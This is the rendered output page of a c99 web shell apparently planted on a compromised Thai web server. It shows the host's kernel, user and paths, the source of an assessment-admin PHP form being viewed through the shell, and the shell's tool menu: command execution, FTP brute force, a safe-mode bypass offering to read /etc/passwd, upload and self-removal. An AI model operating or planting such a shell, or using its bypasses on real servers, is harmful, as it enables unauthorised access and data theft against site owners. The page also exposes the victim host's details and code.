!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editMainQuestionRQ.php (4.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();

include_once 
"../class/clsRadioQuestion.php";
include_once 
"../class/clsDefineAssessment.php";

?> 
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<form name="FormEditMainQuestionRQ" method="post" action="processRadioQuestion.php">
<br>
<table  width=90%  align=center>
<tr><td>

<fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="showListAss.php">รายการแบบประเมิน</a> 
        <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="createForm.php?assid=<? echo $assid ?>">สร้างฟอร์มแบบประเมิน</a> 
        <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" > 
        แก้ไขคำถามข้อหลัก</font></legend>
        <p> 
<?

$oC 
= new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

/*-----สร้าง oRQ เพื่อหา nameRQ จากตาราง RadioQuestionl-----*/ 
$oRQ = new RadioQuestion($oC);
$oRQ->RSSearchRQByKey($assid,$RQid,$sectionRQid,$levelRQ);
$oRQ->GetRecord();
//echo "subtract = ".$oRQ->subtract;

$numParrent $oRQ->RSCountParrentRQid($RQid);
//echo "<br> numParrent = ".$numParrent;

$oDA = new DefineAssessment($oC);
$UsedAss $oDA->CountDefineidByAssid($assid);
?>
<br>

    <input type="hidden" name="method" value="edit">
    <input type="hidden" name="assid" value="<? echo $assid ?>">
    <input type="hidden" name="RQid" value="<? echo $oRQ->RQid ?>">
    <input type="hidden" name="sectionRQid" value="<? echo $oRQ->sectionRQid ?>">
    <input type="hidden" name="parrentRQid" value="0">
    <input type="hidden" name="levelRQ" value="1">
    <input type="hidden" name="subtract" value="<? echo $oRQ->subtract ?>">
    <input type="hidden" name="sequence" value="<? echo $oRQ->sequence ?>">
    <? // if($numParrent > '0' ) { ?>
            <!--<input type="hidden" name="subtract" value="0">-->
    <? //} ?>
        <table width="455" border="0" align="center">
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td height="22" colspan="3" class="colinput3"><div align="center"><strong><u>ส่วนที่ 
                <? echo $indexSeq?></u></strong> : แก้ไขคำถามข้อหลักชนิดปลายปิด 
              </div></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td width="115" class="colinput4"><div align="center">คำถามข้อหลัก <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></div></td>
            <td width="330" colspan="2"> <textarea name="nameRQ" cols="50" rows="4"><?=$oRQ->nameRQ;?></textarea></td>
          </tr>
          <tr> 
            <td>&nbsp;</td>
            <td colspan="2"> 
              <? if($numParrent == '0' ) { ?>
              <input name="subtract" type="radio" value="1" <? if($oRQ->subtract == '1') echo "checked" ?> <? if($UsedAss 0) echo "disabled";?> > เชิงบวก 
              <input  name="subtract"type="radio" value="-1" <? if($oRQ->subtract == '-1') echo "checked" ?> <? if($UsedAss 0) echo "disabled";?> > เชิงลบ 
              <? ?>
            </td>
          </tr>
          <tr> 
            <td colspan="3"><div align="center"><br>
                <input type="submit" name="add" value="บันทึก" onClick="return checkFormat()">
                <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'createForm.php?assid=<? echo $assid ?>'">
              </div></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
        </table>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font>
        </td></tr>
</table>
</form>
<? showFooter(); ?>

<script language="javascript">
function checkFormat(){
    if(document.FormEditMainQuestionRQ.nameRQ.value==""){
        alert("กรุณากรอกคำถามข้อหลัก!");
        return false;
    }
}
</script>



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--